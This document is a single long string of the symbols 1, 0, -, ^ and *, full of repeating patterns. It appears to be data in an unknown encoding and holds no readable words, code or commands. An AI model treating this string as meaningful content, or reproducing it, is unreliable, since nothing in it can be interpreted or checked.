1***1010101***10-1***01^101***110-***00^101***010-***0-^1***^-***0101^1****-****1^1***-011***0110^1***011011***0010^1***101011***0^^1***001011****0^1****011***0-*1***101101***0011*1***001101***0101*1***110101****1*1***010101***011*01***^101***001*01****101***01*001***-001*****01***01^1***0--***010^1***00-11****^1***010-1***011*1****-1***001*1***0110-***01*01***0010-*****1***0^-***0-11****00-***00-1***00-011***010-****11011****-****01011***011011***001^11***001011****^11***0^11***001*11****011*****11***0-01***00-101***001101****-01***010101***00101101****101****01101***01^1***00110101***00^1****10101***01*1***00^101****001****00101***0-1****01^1***00-****10^1***01011****00^1****11****11*1***01101****01*1***00101****1*01***0^1*****001****01****-11***00-****00-1****11****001011***001*****^11*****-010101*--*********010101010101*101^1*********00101010101*--********0011****0011011***001*****1^1*-1101*0-10-1101010110110-1101*011010-11010-^10-1101**010-110101^1^-110^-0^-1101*010^-110101*0^-11010101**-10^110-10-101010^-0-1010101010110-101*1*110-10^10-010-101*1101010-1010^1^10-1010^1*10-10^-00^-101**1*-1010-1*010-010^10-10-01*00^110-010-1011010-010-1101010-01*1^1010-0^10-0010-01*001^10-010-11*10-01***00-01010110-00-01**-00-010-*1^-0101011010^-0101*010^-01*1*0^-0^1^11*-0^10^1*-0^^11*0-01010-*00-01*011*00-010101*001101101*^-11011010-^-10110101*00-10110^^110-0110101*010-011010-1*-0110^-01101101101*0110101101101011*0101101101*010^110110^1101*110110^1**0101101010110-010110^101101101011010110^1101011010^-0101011010^10101010110101010^10101101011*0010101101**1^1011010-*^101101*0101*10110^-1*0101101*11*0^1101*0--001101*-001^1101*-110^1101*00-0^110^-1010^110^1101*^11010101**00110101010-1*1101*010-*1101011011011*1101*1*11*1101010110101*11010^1*1*110101101011*01101011*01*011010101101*0011010^11**11010101*00-010101010--1010^^10-11010^10-0-10101*-00-101010-10110-0101*-010-010^11*10-0101*101^-0101010^^-010101*1*0110101011*-0110101*0010110110101**011011010^-01010110101010-0010110101*11*101101010--^11010^10101^110101*0010^110101011*0^11010^^11*110101010-*0110101*11*0101010101*-1101010^10110-010101*0010-01010^-1101101010^-01011010101010-001101010^-*11010101*-1101010101*11011010101010^11010101010^11*101010101*101^101010^-**101010-0-^101010-1011*10101*-01*10101*0101*010101*011*001010^1**1^101010-0-^1010^1010-001010110101101^10101*00101^10^^1^1^101*^^1^1010-01*1^101*1**^1010-10-0^1010110110110^1010101^110^1010110-010^1010^101010^1010-0^10^101*1*010^10101*01^^101*1^^^1010101101*^10^1101*0^10101**01*101**-1*1010^^-*101*1101011*10101*^11*101*1*011*10^10101101*1010101^101*10101^1^1*10^-**0010^-1011*0101011*101*010101010^1*010^11*01*010101^-*00101*-1**101011*1**10101^1**010^11*00-^^10---00^1*--^10-^--001*0-0-1^^1^10-1^1*10^-1^1010-110-^1010110110-^10-11010-^1*001010-^1*-^-^1010110^-^10^1*00-00^10110110-001**0110-001*0-010-0010^101010-001*-0010-00101011*10-001**0010-00^-10^-0010101^^-001*0101*-00^11*00101^101*10-01^^-^1101^1010^110101^1*010^101^10^11*101^1*01**1^1*0-1^1^^1^-001^^110101^1^^1*01^1^1*01^^1^10^-1*1^101010101*1^1*1^1*1^10-011*01^10-11*001^^-*0110^101010--0^10-010-10^101*00-10^10-0010-0^101010^-0^101**-0^101010-0110^^1^110110^10101^10110^^1^^110^^101*0010^^10-11010^10^11011010^1*1^11010^10--01010^1*001101010^101*0101010^10-1*1010^1010-1^10^10-101^10^10110110^10^10^^^10^10110-*10^10110101*10^^1^1*10^101*1*^^^--1^^^1010-^^101^10-00^1*-101^^1010^101^^1*01^1^^1*11*1^^10110-10^^10-10110^^101^1010^^1*1^10^^10110-00^^^10101*00^1**-*^101101^1*^10-0-*0^1011**-*^-10-11*1*0-0-1*^1^10-1*1*-00-1*10^1*-1*10^-10-*1*101010-*1**010-*^-1*011*1*110-011*101*1101011*^-^1011*10-1*1011*^--0011*10101101^11*1*001*101*1*1^-01*101*0101101*1*11*1101*1**001101*10^10110101*10^11010101*1011*010101*^^1^101*1**^101*1*11**1*1*00101^1*1**01^1*1*11010^1*1*-00^1*^1*11*1*^1*01*1*1*01*011*01*10--*01011*0-1*0101^110-*0^1*10-*010-1*-*010^1011011*010^10^11*0^1011*11*0^11**1*0^^-101*0^1*-01*0^110101101*01*1*1101*010-*0101*010110-001*0010-*-*00^-01011*0010-1^11*001*00^11*0010110101101*001*101*1*0010101***00101^-1**10-01101**1**101**1*00^1**^--**01*11011**010-0101**010-01*--00110110--1^^^--1^^-0--^^1010--^10-00--^^1*--^^10110--*00101*-11*00-110-11**0-0-1^-101010-1^-1^10-1^1011*10-1^110-^-1^101^1010-^1*00-0-1*010110110-^-0010110-^1^1^10-^10-*00-^1*001^-^-1010^-^1*010^-1*^^^-^11*00^-1*01011*0-^10-*110-00110--10-*-110-0-00^1010-0-001101^-0-001101*-0-*1011010110-0011*010110-0011010^110-00-01*110-0011**010-00-10-010-0011*-010-001^1101010-*-*1010-00-101^10-00-11*010-001011*0^-*0--^-*1010-^-*101^1^-*011*1^-00-0-0^-**0010^-*0101^^-*1^^^-00-01*^-00101**00-*00-11*-0010101011*-*10^11*-*-0101*-*--*0-*00101*00-00-01**-001101*0-011*---101^11010--011*^110-1011*-^-101^11011010-01^110^10-011*00-00-011*0010^-01^10101*-01^-**1101^11*-011011*^1101011011*001^1011011*001*1011011*00110^11011*00^^1101^-011*11011*10101*1101^-01*011011*1**10101^101^-0101^10-10110101^--1010101^10110110101011*-1010101011*-0010101011*10-00101011*-1*101011****1011*-110^101^-0^^101^11*00^1011*1*01*1011**11*01011**01*01011*-*01^11*---0011**--001^110110-^1^101^-^1^^1010-001^-1*-001^^101101^1^-^101^1^11*0101^1^10101^1^11*0^1*^1^110110110^11*11*110^11*^11010^11*-^10^11*10-^^11*001*01*11*-00-*1^^-011*11*1^1011*1^110101101*1^11*1101*1^101010101*1^101*101*11*1*^1*11*011**0011*10-01*01^10110101*011*0-001*011*0-01*001^110^1*001^^-00-10^10110--101*01010--01*00^--01*00-0-1101*1*10-110^1*^-1101*0110110-101**1010-101*01*10-101*^1^-101*1*^-101**1*-101*1**0-01**-10-0^11*-0-01*11010110-01*1*0110-0^1*01010-0^1*^10-0^10-1^-0^1*-00-0^1*0110101101*-0-10110^10-0-0110^1^10-0110^11*0-0110^1101^1101101*-*1101101*0110110101101*1*11010110^101^1010110^10101^10110^10^^10110^10101*101101*011**1101*110-^110^11010-001101**0-00110^110^1^1101*010110^1101*1^10^110^-0^^110^-*0^110^^-1*1101*011011*110^10-01*1101*00^1*110^-011*01101*00101*0110^-01*00110^^1*011010^10110-11010^1*10-10101*0-10-0101*0^10-010^1011*-0101*010-011010^-00110110101*0011010110101*010101011010^101*1011010^-10^11010^10101*010101*--101010^-00-010101*^101101010^10-10101010^10110101010101*0-001010101*-*1010101*00110^1010^10-1*10101*1^1*1010^1^1*^101*--1^10^^10-^101*11010-00101*10^-0010^110-01^101*-0101^10^10-001^10^-1*1^101***1^101*1^110^101*1101010^101*-0^^10^-11*^101*011**0101*0--*101*-0-*10^-01011*10^-*11*10^10101101*10^1*0101*10^1011*1*101*00-1*010^10-01*0101*1*01*0101*01*00-001*11*-1^^^1^-^1*01*0-^^^-10-00^-10110-00^-11010-001**1010-001*1*010-001*^1^-00^^11*-001*01**1^^1^-101^1*0^-***001101*********01****-0101**************0101101********1011011***1*****0^1101********0^1***001*****1*1101*********01***001******01101*********001***01*****-10101*****01*******001*****10^101*****0^1***11***001*****^101*****001****11***01****011*101********01101011**001*****01*101*****01***001101**001*****1*0101*****01***0-11**001******00101*****011**00^11***01****00-1^1*********01011**001*****0-^1********0101****1*****10-001********0010101***1*****00-001*********01***001*****1101^1********1101****1*****0101^1*********001***01*****^1^1*********11***001******1^1*********0^1**001*****0010^1*****01101*00101101***1*****101*01*****00-*00-001***1*****01*001******11**010101**001******0011******-**10-1**001*****101011******-1*0011*1***1*****-001******1011*001*01***1*****001*******0-**^11***1**0^11*001101^1**00^110^11*001101^1****10^11*1010-***1*-0^11*1*-***-10110^11*1*-***11010110^11*0011011***10101010^11*0011011***1^1010^11*0011011***1*1010^11*0101011****01010^11*0011011***-^10^11*0101011***0-0010^11*0011011***101^10^11*1^-***11011*^11*1^-***^11*^11*1*-***1*1*^11*0011011***-1*0^11*0101011***1011*0^11*0101011***^1*0^11*0-011***-*0011*^1*0^1101*011010---1**11011*^10110110-11*010^1010-11**^11*^1*01*101*01^-*0-1**01011*^1*01*101*01^-*0-1**^11*^1*01*101*01^-*0-1***11*^1*01*101*01^-0-0-**-11*^1*01*101*01^-0-0-**0-1*^1*01*101*01^-0-0-**10-*^1*01*101*01^-0-0-**00-*^1*01*101*01^-0-0-**11011*^1*01*101*01^-0-0-**01011*^1*01*101*01^-0-0-**^11*^1*01*101*01^-00110-**^11*^1*01*101*01^-00110-***11*^1*01*101*01^-01010-**-11*^1*01*101*01^-01010-**0-1*^1*01*101*01^-01^-**-11*^1*01*101*01^-01^-**0-1*^1*01*101*01^-00^-**0-1*^1*01*101*011*1^^-**11011*^1*01*101*011*1^^-**01011*^1*01*101*011*11*00-**-11*^1*01*101*011*11*00-**0-1*^1*01*101*01^-*00-**01011*^1*01*101*011*110-1011**0-1*^1*01*101*011*110-1011**10-*^1*01*101*01^-00-011**0-1*^1*01*101*01^-00-011**10-*^1*01*101*01^-00-011**00-*^1*01*101*01^-00-011**11011*^1*01*101*01^-00-011**01011*^1*01*101*01^-01011011**01011*^1*01*101*01^-01011011**^11*^1*01*101*01^-01011011***11*^1*01*101*011*11*11011**0-1*^1*01*101*011*11*11011**10-*^1*01*101*01^-*11011**11011*^1*01*101*01^-*11011**01011*^1*01*101*01^-*11011**^11*^1*01*101*01^-*11011***11*^1*01*101*01^-01101011**-11*^1*01*101*01^-01101011**0-1*^1*01*101*01^-01101011**10-*^1*01*101*011*1101101011**^11*^1*01*101*011*1101101011***11*^1*01*101*011*1^101011**-11*^1*01*101*011*1^101011**0-1*^1*01*101*01^-00101011**^11*^1*01*101*01^-0^1011**^11*^1*01*101*01^-0^1011***11*^1*01*101*01^-*01011**10-*^1*01*101*01^-*01011**00-*^1*01*101*01^-*01011**11011*^1*01*101*01^-*01011**01011*^1*01*101*01^-*01011**^11*^1*01*101*01^-0-0011**11011*^1*01*101*01^-0-0011**01011*^1*01*101*01^-0-0011**^11*^1*01*101*01^-0-0011***11*^1*01*101*01^-001^11**^11*^1*01*101*01^-001^11***11*^1*01*101*01^-010^11**-11*^1*01*101*01^-010^11**10-*^1*01*101*01^-010^11**00-*^1*01*101*01^-010^11**11011*^1*01*101*01^-010^11**01011*^1*01*101*01^-010^11**^11*^1*0^1**011*01^^11**10-*^1*01*101*01^-001*11**^11*^1*01*101*01^-001*11***11*^1*01*101*01^-01*011**-11*^1*01*101*01^-01*011**0-1*^1*01*101*01^-01*011**10-*^1*01*101*011*1101*011**00-*^1*01*101*011*1101*011**11011*^1*01*101*011*1101*011**01011*^1*01*101*011*1101*011**^11*^1*01*101*011*1101*011***11*^1*01*101*011*11**11**-11*^1*01*101*011*11**11**0-1*^1*01*101*011*11**11**10-*^1*01*101*011*11**11**00-*^1*01*101*011*11**11**11011*^1*01*101*011*11**11**01011*^1*01*101*011*11**11**^11*^1*01*101*01^-0-1101**-11*^1*01*101*01^-0-1101**0-1*^1*01*101*01^-0-1101**10-*^1*01*101*01^-0-1101**00-*^1*01*101*01^-0-1101**11011*^1*01*101*01^-0-1101**01011*^1*01*101*01^-010-01**0-1*^1*01*101*01^-010-01**10-*^1*01*101*01^-*-01**-11*^1*01*101*01^-*-01**0-1*^1*01*101*01^-*-01**10-*^1*01*101*01^-*-01**00-*^1*01*101*01^-*-01**11011*^1*01*101*01^-*-01**01011*^1*01*101*011*110^1101**10-*^1*01*101*011*110^1101**00-*^1*01*101*011*110^1101**11011*^1*01*101*011*110^1101**01011*^1*01*101*011*110^1101**^11*^1*01*101*011*110^1101***11*^1*01*101*011*11*01101**-11*^1*01*101*011*11*01101**0-1*^1*01*101*01^-*01101**10-*^1*01*101*01^-*01101**00-*^1*01*101*01^-*01101**11011*^1*01*101*01^-*01101**01011*^1*01*101*01^-*01101**^11*^1*01*101*01^-*01101***11*^1*01*101*01^-0-0101**10-*^1*01*101*01^-0-0101**00-*^1*01*101*01^-0-0101**11011*^1*01*101*01^-0-0101**01011*^1*01*101*01^-00110101**-11*^1*01*101*01^-00110101**0-1*^1*01*101*01^-00110101**10-*^1*01*101*01^-00110101**00-*^1*01*101*01^-00110101**11011*^1*01*101*01^-00110101**01011*^1*01*101*01^-01010101**0-1*^1*01*101*01^-01010101**10-*^1*01*101*01^-01010101**00-*^1*01*101*01^-01010101**11011*^1*01*101*01^-01010101**01011*^1*01*101*01^-01010101**^11*^1*01*101*011*11*10101**0-1*^1*01*101*011*11*10101**10-*^1*01*101*011*11*10101**00-*^1*01*101*011*11*10101**11011*^1*01*101*01^-01^101**00-*^1*01*101*01^-01^101**11011*^1*01*101*01^-01^101**01011*^1*01*101*01^-01^101**^11*^1*01*101*011*1^^101**0-1*^1*01*101*011*1^^101**10-*^1*01*101*011*1^^101**00-*^1*01*101*011*1^^101**11011*^1*01*101*011*1^^101***11*^1*01*101*011*1101*101**-11*^1*01*101*011*1101*101**0-1*^1*01*101*011*1101*101**10-*^1*01*101*011*1101*101**00-*^1*01*101*011*1101*101**11011*^1*01*101*011*1101*101**01011*^1*01*101*011*1101*101**^11*^1*01*101*011*1101*101***11*^1*01*101*011*11*00101**-11*^1*01*101*011*11*00101**0-1*^1*01*101*011*11*00101**10-*^1*01*101*011*11*00101**00-*^1*01*101*011*11*00101**11011*^1*01*101*011*11*00101**01011*^1*01*101*011*11*00101**^11*^1*01*101*01^-00-001**-11*^1*01*101*01^-00-001**0-1*^1*01*101*01^-00-001**10-*^1*01*101*01^-00-001**00-*^1*01*101*01^-00-001**11011*^1*01*101*01^-*1^1**10-*^1*01*101*01^-*1^1**00-*^1*01*101*01^-*1^1**11011*^1*01*101*011*110110^1**0-1*^1*01*101*011*110110^1**10-*^1*01*101*011*110110^1**00-*^1*01*101*011*110110^1**11011*^1*01*101*01^-0110^1**01011*^1*01*101*01^-0010^1**11011*^1*01*101*01^-0010^1**01011*^1*01*101*01^-0010^1**^11*^1*01*101*01^-0010^1***11*^1*01*101*01^-0^^1**-11*^1*01*101*01^-0^^1**0-1*^1*01*101*01^-0^^1**10-*^1*01*101*011*110^^1***11*^1*01*101*011*11*0^1**-11*^1*01*101*011*11*0^1**0-1*^1*01*101*011*11*0^1**10-*^1*01*101*011*11*0^1**00-*^1*01*101*011*11*0^1**11011*^1*01*101*01^-0-*1**0-1*^1*01*101*01^-0-*1**10-*^1*01*101*011*110-*1**^11*^1*01*101*011*110-*1***11*^1*01*101*011*1^11*1**-11*^1*01*101*011*1^11*1**0-1*^1*01*101*011*1^11*1**10-*^1*01*101*011*1^11*1**00-*^1*01*101*011*1^11*1**11011*^1*01*101*011*1^11*1**01011*^1*01*101*01^-0101*1**-11*^1*01*101*01^-0101*1**0-1*^1*01*101*01^-0101*1**10-*^1*01*101*01^-0101*1**00-*^1*01*101*011*110101*1***11*^1*01*101*011*11*1*1**-11*^1*01*101*011*11*1*1**0-1*^1*01*101*011*11*1*1**10-*^1*01*101*01^-*1*1**00-*^1*01*101*01^-*1*1**11011*^1*01*101*01^-011*01**11011*^1*01*101*01^-011*01**01011*^1*01*101*01^-011*01**^11*^1*01*101*01^-011*01***11*^1*01*101*01^-001*01**^11*^1*01*101*01^-001*01***11*^1*01*101*01^-01*001**-11*^1*01*101*01^-01*001**0-1*^1*01*101*011*1101*001**01011*^1*01*101*011*1101*001**^11*^1*01*101*01^-**01**-11*^1*01*101*01^-**01**0-1*1**01^101*01101*1**1**11011*^1^10^101*01101*1**1**01011*^1*01*101*01^-**01**^11*^1*01*101*01^-**01***11*^1*01*101*01^-0--**0-11*^1*01*101*01^-0--**011011*^1*01*101*01^-0--**001011*^1*01*101*01^-0--**0^11*^1*01*101*01^-0--***011*^1*01*101*011*1^-11**00-1*^1*01*101*011*1^-11**010-*^1*01*101*01^-00-11**011011*^1*01*101*01^-00-11**001011*^1*01*101*01^-00-11**0^11*^1*01*101*01^-00-11***011*^1*01*101*011*11010-1**00-1*^1*01*101*011*11010-1**010-*^1*01*101*011*11010-1**0^11*^1*01*101*011*11010-1***011*^1*01*101*01^-*-1**00-1*^1*01*101*01^-*-1**010-*^1*01*101*011*11*-1**011011*^1*01*101*011*11*-1**001011*^1*01*101*01^-*-1***011*^1*01*101*01^-0110-**0-11*^1*01*101*01^-0110-**00-1*^1*01*101*01^-0110-**010-*^1*01*101*011*110110-**001011*^1*01*101*011*110110-**0^11*^1*01*101*01^-0010-**0-11*^1*01*101*01^-0010-**00-1*^1*01*101*01^-0010-**010-*^1*01*101*011*1^10-**011011*^1*01*101*011*1^10-**001011*^1*01*101*011*1^10-**0^11*^1*01*101*011*1^10-***011*^1*01*101*011*110^-**0-11*^1*01*101*011*110^-**00-1*^1*01*101*011*110^-**010-*^1*01*101*011*110^-***-*^1*01*101*01^-0^-**011011*^1*01*101*01^-0^-**001011*^1*01*101*01^-0^-**0^11*^1*01*101*011*11*0-**0-11*^1*01*101*011*11*0-**00-1*^1*01*101*011*11*0-**010-*^1*01*101*011*11*0-***-*^1*01*101*011*11*0-**011011*^1*01*101*011*11*0-**001011*^1*01*101*01^-*0-**0^11*^1*01*101*01^-*0-***011*^1*01*101*011*110-011**011011*^1*01*101*011*110-011**001011*^1*01*101*01^-0-011***011*^1*01*101*01^-0011011**0-11*^1*01*101*011*1^11011***-*^1*01*101*011*1^11011**011011*^1*01*101*01^-0011011**0^11*^1*01*101*01^-0011011***011*^1*01*101*01^-0101011**0-11*^1*01*101*011*110101011***-*^1*01*101*011*110101011**011011*^1*01*101*01^-0101011**0^11*^1*01*101*01^-0101011***011*^1*01*101*01^-*1011**0-11*^1*01*101*011*11*1011**011011*^1*01*101*011*11*1011**001011*^1*01*101*01^-*1011***011*^1*01*101*01^-01^11**0-11*^1*01*101*01^-01^11**00-1*^1*01*101*01^-01^11**010-*^1*01*101*01^-01^11***-*^1*01*101*01^-01^11**011011*^1*01*101*011*1101^11***011*^1*01*101*011*1^^11**0-11*^1*01*101*011*1^^11**001011*^1*01*101*011*1^^11**0^11*^1*01*101*01^-01*11**0-11*^1*01*101*01^-01*11**00-1*^1*01*101*01^-01*11**010-*^1*01*101*011*1101*1^1**-*^1*01*101*011*1101*11**001011*^1*01*101*011*1101*11**0^11*^1*01*101*011*11*001^1*0-11*^1*01*101*01^-*0011**0-11*^1*01*101*011*11*001^1*00-1*^1*01*101*01^-*0011**00-1*^1*01*101*01^-*0011**010-*^1*01*101*011*11*0011**011011*^1*01*101*011*11*0011**001011*^1*01*101*011*110-10^1*0-11*^1*01*101*011*110-10^1*00-1*^1*01*101*011*110-101**00-1*^1*01*101*011*110-10^1*010-*^1*01*101*011*110-101**010-*^1*01*101*01^-0-101**011011*^1*01*101*01^-0-101**001011*^1*01*101*01^-0-101**0^11*^1*01*101*01^-0-101***011*^1*01*101*011*1^-01**00-1*^1*01*101*011*1^-01**010-*^1*01*101*011*1^-01***011*^1*01*101*011*110101101**0-11*^1*01*101*01^-0101101**010-*^1*01*101*01^-0101101***-*^1*01*101*01^-0101101**011011*^1*01*101*011*110101101**0^11*^1*01*101*011*110101101***011*^1*01*101*01^-*1101**00-1*^1*01*101*01^-*1101**010-*^1*01*101*01^-*1101***-*^1*01*101*01^-*1101**011011*^1*01*101*01^-*1101**001011*^1*01*101*01^-*1101**0^11*^1*01*101*011*110110101**0-11*^1*01*101*011*110110101**00-1*^1*01*101*011*110110101***011*^1*01*101*011*1^10101**0-11*^1*01*101*01^-0010101**010-*^1*01*101*01^-0010101***-*^1*01*101*01^-0010101**011011*^1*01*101*011*1^10101**0^11*^1*01*101*011*1^10101***011*^1*01*101*01^-0^101**00-1*^1*01*101*01^-0^101**010-*^1*01*101*011*110^101**001011*^1*01*101*011*110^101**0^11*^1*01*101*01^-*0101**00-1*^1*01*101*01^-*0101**010-*^1*01*101*01^-*0101***-*^1*01*101*01^-*0101**011011*^1*01*101*01^-*0101**001011*^1*01*101*01^-*0101***011*^1*01*101*011*110-001***-*^1*01*101*011*110-001**011011*^1*01*101*01^-0-001**0^11*^1*01*101*01^-0-001***011*^1*01*101*01^-001^1**0-11*^1*01*101*01^-001^1**00-1*^1*01*101*011*1^1^1**001011*^1*01*101*011*1^1^1**0^11*^1*01*101*01^-010^1**0-11*^1*01*101*01^-010^1**00-1*^1*01*101*01^-010^1**010-*^1*01*101*01^-010^1***-*^1*01*101*01^-010^1**011011*^1*01*101*011*11010^1***011*^1*01*101*011*11*^1**0-11*^1*01*101*01^-*^1**010-*^1*01*101*01^-*^1***-*^1*01*101*011*11*^1**001011*^1*01*101*011*11*^1**0^11*^1*01*101*01^-011*1**0-11*^1*01*101*01^-011*1**00-1*^1*01*101*01^-011*1**010-*^1*01*101*01^-011*1***-*^1*01*101*01^-011*1**011011*^1*01*101*011*11011*1**0^11*^1*01*101*011*11011*1***011*^1*01*101*01^-001*1**00-1*^1*01*101*011*1^1*1***-*^1*01*101*011*1^1*1**011011*^1*01*101*011*1^1*^1*0^11*^1*01*101*01^-001*1**0^11*^1*01*101*011*1^1*^1**011*^1*01*101*01^-001*1***011*^1*01*101*011*1101*0^1*0-11*^1*01*101*01^-01*01**0-11*^1*01*101*011*1101*0^1*00-1*^1*01*101*01^-01*01**00-1*^1*01*101*011*1101*0^1*010-*^1*01*101*011*1101*0^1**-*^1*01*101*011*1101*01**0^11*^1*01*101*011*1101*01***011*^1*01*101*011*11**1**011011*^1*01*101*011*11**1**001011*^1*01*101*01^-**1***011*^1*01*101*01^-0-11**00-11*^1*01*101*011*110-11*1*00-1*^1*01*101*01^-0-11***-1*^1*01*101*011*110-11*1*010-*^1*01*101*01^-0-11**0010-*^1*01*101*011*110-11*1**-*^1*01*101*01^-0-11***0-*^1*01*101*011*110-11*1*011011*^1*01*101*01^-0-11**0011011*^1*01*101*01^-0-11***1011*^1*01*101*01^-0-11**00^11*^1*01*101*011*1^-1***0-*^1*01*101*011*1^-1*1*011011*^1*01*101*011*1^-1**0011011*^1*01*101*011*1^-1*1*001011*^1*01*101*01^-00-1**00^11*^1*01*101*01^-00-1***0011*^1*01*101*01^-010-**00-11*^1*01*101*011*11010-**0010-*^1*01*101*011*11010-*1**-*^1*01*101*011*11010-***0-*^1*01*101*011*11010-*1*011011*^1*01*101*011*11010-*1*001011*^1*01*101*01^-010-***1011*^1*01*101*011*11010-*1*0^11*^1*01*101*01^-010-**00^11*^1*01*101*011*11010-*1**011*^1*01*101*011*11*-*1*0-11*^1*01*101*011*11*-*1*00-1*^1*01*101*011*11*-*1*010-*^1*01*101*011*11*-**0010-*^1*01*101*011*11*-*1**-*^1*01*101*011*11*-***0-*^1*01*101*011*11*-*1*011011*^1*01*101*011*11*-**00^11*^1*01*101*011*11*-***0011*^1*01*101*01^-011011***-1*^1*01*101*01^-011011**0010-*^1*01*101*01^-011011***0-*^1*01*101*011*11011011***1011*^1*01*101*011*11011011**00^11*^1*01*101*01^-001011***-1*^1*01*101*01^-001011**0010-*^1*01*101*011*1^1011**00^11*^1*01*101*011*1^1011*1**011*^1*01*101*011*1^1011***0011*^1*01*101*011*110^11*1*0-11*^1*01*101*011*110^11*1*00-1*^1*01*101*01^-0^11***-1*^1*01*101*011*110^11*1*010-*^1*01*101*01^-0^11**0010-*^1*01*101*011*110^11*1**-*^1*01*101*011*110^11**0011011*^1*01*101*011*110^11***1011*^1*01*101*01^-0^11***0011*^1*01*101*011*11*011*1*0-11*^1*01*101*01^-*011**00-11*^1*01*101*011*11*011*1*00-1*^1*01*101*011*11*011*1*010-*^1*01*101*011*11*011*1**-*^1*01*101*011*11*011*1*011011*^1*01*101*011*11*011**0011011*^1*01*101*011*11*011*1*001011*^1*01*101*011*11*011***1011*^1*01*101*011*11*011*1*0^11*^1*01*101*01^-*011**00^11*^1*01*101*011*11*011*1**011*^1*01*101*01^-*011***0011*^1*01*101*011*110-01*1*0-11*^1*01*101*011*110-01*1**-*^1*01*101*011*110-01*1*011011*^1*01*101*011*110-01*1*001011*^1*01*101*011*110-01***1011*^1*01*101*011*110-01*1*0^11*^1*01*101*011*110-01**00^11*^1*01*101*011*110-01*1**011*^1*01*101*011*1^1101*1*0-11*^1*01*101*01^-001101**00-11*^1*01*101*011*1^1101*1*00-1*^1*01*101*01^-001101***-1*^1*01*101*011*1^1101*1*010-*^1*01*101*01^-001101**0010-*^1*01*101*011*1^1101*11*00-*^1*01*101*011*1^1101*1**-*^1*01*101*01^-001101***0-*^1*01*101*01^-001101*11*11011*^1*01*101*011*1^1101*1*011011*^1*01*101*01^-001101**0011011*^1*01*101*011*1^1101*1*001011*^1*01*101*01^-001101***1011*^1*01*101*011*1^1101*1*0^11*^1*01*101*01^-001101**00^11*^1*01*101*011*1^1101*1**011*^1*01*101*01^-001101***0011*^1*01*101*011*11010101*1*0-11*^1*01*101*01^-010101**00-11*^1*01*101*011*11010101*11*0-1*^1*01*101*011*11010101*1*00-1*1*1^1*101*011*10110101*11*10-*1*01101*101*01101^110101*11*10-*^1*01*101*011*11010101*1*010-*^1*01*101*011*11010101**0010-*^1*01*101*011*11010101*1**-*^1*01*101*011*11010101***0-*^1*01*101*0110-1010101*11*11011*^1*01*101*011*11010101*1*011011*^1*01*101*01^-010101***1011*^1*01*101*01^-010101**00^11*^1*01*101*011*11010101*1**011*^1*01*101*01^-010101***0011*^1*01*101*011*11*101*1*0-11*^1*01*101*01^-*101**00-11*^1*01*101*011*11*101*1*00-1*^1*01*101*011*11*101*1*010-*^1*01*101*011*11*101**0010-*^1*01*101*011*11*101*1**-*^1*01*101*011*11*101***0-*^1*01*101*011*11*101*1*011011*^1*01*101*01^-*101***1011*^1*01*101*01^-*101**00^11*^1*01*101*011*11*101*1**011*^1*01*101*01^-*101***0011*^1*01*101*011*1101^1*1*0-11*^1*01*101*011*1101^1***-1*^1*01*101*011*1101^1**0010-*^1*01*101*01^-01^1**0011011*^1*01*101*011*1101^1*1*001011*^1*01*101*011*1101^1*1*0^11*^1*01*101*011*1101^1**00^11*^1*01*101*011*1101^1*1**011*^1*01*101*011*1101^1***0011*^1*01*101*011*1^^1*11*-11*^1*01*101*011*1^^1*1*0-11*^1*01*101*011*1^^1*1*00-1*^1*01*101*011*1^^1*1*010-*^1*01*101*011*1^^1*1**-*^1*01*101*01^-00^1***0-*^1*01*101*011*1^^1*1*011011*^1*01*101*01^-00^1**0011011*^1*01*101*011*1^^1*1*001011*^1*01*101*0110-^^1*11*^11*^1*01*101*011*1^^1*1*0^11*^1*01*101*0110-^^1*11**11*^1*01*101*011*1^^1*1**011*^1*01*101*0110-101*1*11*10-*^1*01*101*011*1101*1*1*010-*^1*01*101*0110-101*1*11*00-*^1*01*101*011*1101*1*1**-*^1*01*101*01^-01*1***0-*^1*01*101*01^-01*1**0011011*^1*01*101*011*11*001*1*0-11*^1*01*101*011*11*001*1*00-1*^1*01*101*011*11*001*1*010-*^1*01*101*011*11*001*1**-*^1*01*101*011*11*001*1*011011*^1*01*101*011*11*001*1*001011*^1*01*101*011*11*001*1*0^11*^1*01*101*011*11*001*1**011*^1*01*101*01^-*001***0011*^1*01*101*01^-0-1***-11*^1*01*101*01^-0-1***0-1*^1*01*101*0110-10-1*011*10-*^1*01*101*011*110-1*01*010-*^1*01*101*01^-0-1***10-*^1*01*101*01^-0-1***00-*^1*01*101*011*110-1*01*001011*^1*01*101*011*1^-***-11*^1*01*101*011*1^-***0-1*^1*0^1**011*0110-*011*10-*^1*01*101*01^-00-***10-*^1*01*101*0110-^-*011*00-*^1*01*101*01^-00-***00-*^1*01*101*01^-00-***11011*^1*01*101*01^-01011***^11*^1*01*101*011*11*11***10-*^1*01*101*011*11*11***00-*^1*01*101*011*001^1*011*0-1*^1*01*101*01^-0^1***01011*^1*01*101*01^-0^1***^11*^1*01*101*01^-0^1****11*^1*01*101*01^-0-****011*^1*01*101*01^-0011***0-11*^1*01*101*01^-0011***00-1*^1*01*101*01^-0011***010-*^1*01*101*01^-0011****-*^1*01*101*01^-0011***011011*^1*01*101*01^^-**001*-1*^1*01*101*01^-011***0011011*^1*01*101*01^-011****1011*^1*01*101*01^-011***00^11*^1*01*101*0110-1011**11**11*^1*01*101*01^-011****0011*^1*01*101*01^-001***00-11*^1*01*101*01^-001****-1*^1*01*101*01^-001***0010-*^1*01*101*01^-01****01011*^1*01*101*01^-01****^11*^1*01*101*01^-01*****11*^1*01*101*01^-****00-11*^1*01*101*011*11*****0-*^1*01*101*01101011*****1*^1*101*11**0110^11***-01*0^^11*^1**01^-1***-01*0^^110101101**011010-***-0^10^1*1101^1**011010101***-01*0^^1^^11**0110-11***-01*0^^1^^101**1^1****-01*0^^1^^101**1101****0-01*0^^1^^101**11*****-0^11*^1*0^1**011*011***-01*0^^^1^11**01^^1***-01*0^^11*0-**01101^1***-01*0^1*0-011**001101****0-01*0^^1^^11**01101*1***-01*0^^1^^11**01^1101***-01*0^1*-0-1**0110-01***-0^10^^1101*01**011*101***-0^11*^1*01*101*011*11***1*01*1^^1*^-1**0-01****1*001^1*011*-1**001101****1*001^^-*0-1**010101****1*001^1*1*00-1***101****1*010^^-0010-1**01^1****1*010^^11010110-**00^1****1*010^1*0-010-**01*1****1*010^1*^1010-***001****1*010^^101^10-**0-1****01*010^1*00^10-**00-****01*010^^101^10-***11***0^1*011*^1*0^-**01101***0^1*001^^10-110-**0^1***0^1*010^^-^-11***01***0^1*010^1*10^-11**0-***00^1*010^^101*-11**0011***00^1*010^^1^^-1**0101***00^1*010^^1*110-1***1***00^1*